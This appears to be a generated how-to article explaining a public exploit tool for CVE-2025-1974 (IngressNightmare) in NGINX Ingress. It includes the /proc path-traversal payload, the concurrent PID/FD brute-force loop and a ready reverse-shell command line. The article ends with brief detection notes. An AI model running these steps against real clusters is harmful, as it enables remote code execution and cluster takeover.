# How IngressNightmare Brute-Forces PIDs and File Descriptors in CVE-2025-1974 Exploits

> Learn how IngressNightmare exploits CVE-2025-1974 by effectively brute-forcing PIDs and file descriptors to achieve malicious shared object injection into NGINX Ingress.

- Repository: [Esonhugh Skyworship/ingressnightmare-cve-2025-1974-exps](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps)
- Tags: how-to-guide
- Published: 2026-03-01

---

**IngressNightmare brute-forces process IDs (PIDs) and file descriptors (FDs) by concurrently testing thousands of `/proc/<pid>/fd/<fd>` combinations against the NGINX Ingress admission webhook until the malicious shared object successfully injects.**

The `esonhugh/ingressnightmare-cve-2025-1974-exps` repository automates exploitation of the ingressnightmare vulnerability through systematic enumeration. Since the attacker cannot predict which PID and FD number will reference the uploaded payload in memory, the tool implements a highly parallelized brute-force engine that probes configurable ranges until code execution is achieved.

## Configurable Brute-Force Ranges

The tool exposes four command-line flags in [`main.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/main.go) (lines 103–108) to define the search space, allowing attackers to tune the enumeration window to the target environment:

- `--pid-range-start` and `--pid-range-end` (default **5–40**)
- `--fd-range-start` and `--fd-range-end` (default **3–26**)

These defaults target typical containerized workloads where the NGINX worker processes occupy low-numbered PIDs and temporary file descriptors fall within a predictable early range. Adjusting these bounds optimizes the attack for systems with higher process churn or custom PID namespaces.

## The Concurrent Exploitation Workflow

The exploitation logic in [`nginx-ingress/exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go) orchestrates three synchronized operations: staging the payload, constructing malicious paths, and concurrently probing PID/FD pairs.

### Staging the Malicious Payload

Before brute-forcing begins, the `Exploit` function launches `UploadThread` in a separate goroutine. This thread continuously streams the compiled shared object (`payload.so`) to the vulnerable upload endpoint, ensuring the malicious library remains resident in memory as an open file descriptor. Without this staging step, the subsequent `/proc/<pid>/fd/<fd>` references would point to non-existent or invalid memory regions.

### Constructing the /proc Path Injection

The `ValidateWebHook` function (lines 4–12 of [`exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/exploit.go)) builds the traversal payload that escapes the webhook's validation context and reaches the host's procfs:

```go
evilUrl := fmt.Sprintf("../../../../../../proc/%v/fd/%v", pid, fd)
fullPayload := strings.Replace(validateJson, "foobar", evilUrl, 1)

```

This path walks six directory levels up (`../../../../../..`) to reach the root filesystem, then accesses `/proc/<pid>/fd/<fd>` to reference the file descriptor table of a specific process. The function injects this path into the admission webhook's JSON validation request, replacing the placeholder `foobar`.

### The Brute-Force Loop and Success Detection

The core enumeration engine (lines 61–89 of [`exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/exploit.go)) spawns a goroutine for every PID/FD combination within the specified ranges:

```go
for fd := fdRangeStart; fd < fdRangeStart+fdRangeEnd; fd++ {
    for pid := pidRangeStart; pid < pidRangeStart+pidRangeEnd; pid++ {
        wg.Add(1)
        go func(pid, fd int) {
            defer wg.Done()
            err := ValidateWebHook(WebHookUrl, fd, pid)
            if err == nil {
                log.Infof("Exploit Success! pid: %d, fd: %d", pid, fd)
                successFlag = true
                defer close(stopUpload) // stop the upload thread
            }
        }(pid, fd)
    }
}

```

Each goroutine executes `ValidateWebHook` against the target admission controller. When a request returns success—indicated by the response string **"Code Injected!"**—the tool sets `successFlag` to true, closes the `stopUpload` channel to terminate the payload uploader, and prints the successful PID/FD pair. The remaining goroutines exit early once the success flag is detected, preventing unnecessary network noise.

## Practical Exploitation Examples

Execute the brute-force with custom ranges to match larger container environments:

```bash
./ingressnightmare \
  --mode r \
  --reverse-shell-ip 10.1.2.3 \
  --reverse-shell-port 4444 \
  --pid-range-start 10 \
  --pid-range-end 100 \
  --fd-range-start 0 \
  --fd-range-end 50 \
  https://ingress-nginx-controller-admission.ingress-nginx.svc:443 \
  http://ingress-nginx-controller.ingress-nginx.svc:80

```

The Go implementation demonstrates the nested iteration strategy used to maximize concurrency:

```go
// nginx-ingress/exploit.go
for fd := fdRangeStart; fd < fdRangeStart+fdRangeEnd; fd++ {
    for pid := pidRangeStart; pid < pidRangeStart+pidRangeEnd; pid++ {
        wg.Add(1)
        go func(pid, fd int) {
            defer wg.Done()
            err := ValidateWebHook(WebHookUrl, fd, pid)
            if err == nil {
                log.Infof("Exploit Success! pid: %d, fd: %d", pid, fd)
                successFlag = true
                defer close(stopUpload)
            }
        }(pid, fd)
    }
}

```

## Summary

- **Configurable ranges**: The tool accepts `--pid-range-start/end` and `--fd-range-start/end` flags in [`main.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/main.go) to bound the brute-force search, defaulting to PID 5–40 and FD 3–26.
- **Memory staging**: `UploadThread` continuously uploads `payload.so` to keep the malicious library open as a file descriptor in memory.
- **Path traversal**: `ValidateWebHook` constructs `../../../../../../proc/<pid>/fd/<fd>` paths to reference arbitrary process file descriptors via procfs.
- **Concurrent execution**: The exploit loop spawns thousands of goroutines to test PID/FD pairs in parallel, halting immediately upon detecting the "Code Injected!" success indicator.

## Frequently Asked Questions

### Why does IngressNightmare need to brute-force PIDs and FDs instead of using fixed values?

Container environments randomize process IDs and assign temporary file descriptors dynamically when handling uploads. Since the attacker cannot predict which PID will handle the webhook request or which FD number holds the uploaded `.so` file in memory, the tool must enumerate plausible combinations until it discovers the correct pair that references the staged payload.

### What determines the default PID range of 5–40 and FD range of 3–26?

These defaults reflect typical container runtime behavior where the NGINX Ingress controller runs as an unprivileged process with low-numbered PIDs, and temporary files created by the upload handler receive early file descriptor numbers (starting above stdin/stdout/stderr). The ranges cover common cases without excessive network overhead, though attackers can expand them for noisier or larger targets.

### How does the tool know when the brute-force attempt succeeds?

Each goroutine checks the HTTP response from `ValidateWebHook` for the string **"Code Injected!"**, which indicates the NGINX process successfully loaded the attacker-supplied shared object via the `/proc/<pid>/fd/<fd>` path. Upon detecting this marker, the tool sets a success flag, closes the upload channel to stop `UploadThread`, and reports the winning PID and FD values.

### Can the brute-force be detected by network security tools?

The tool generates high-volume, parallel HTTP requests to the admission webhook endpoint, each containing slightly different path traversals. Security platforms monitoring for rapid sequential requests to admission controllers, or those inspecting for `/proc/` path patterns in webhook validation JSON, can detect this behavior as anomalous lateral movement or exploitation attempts.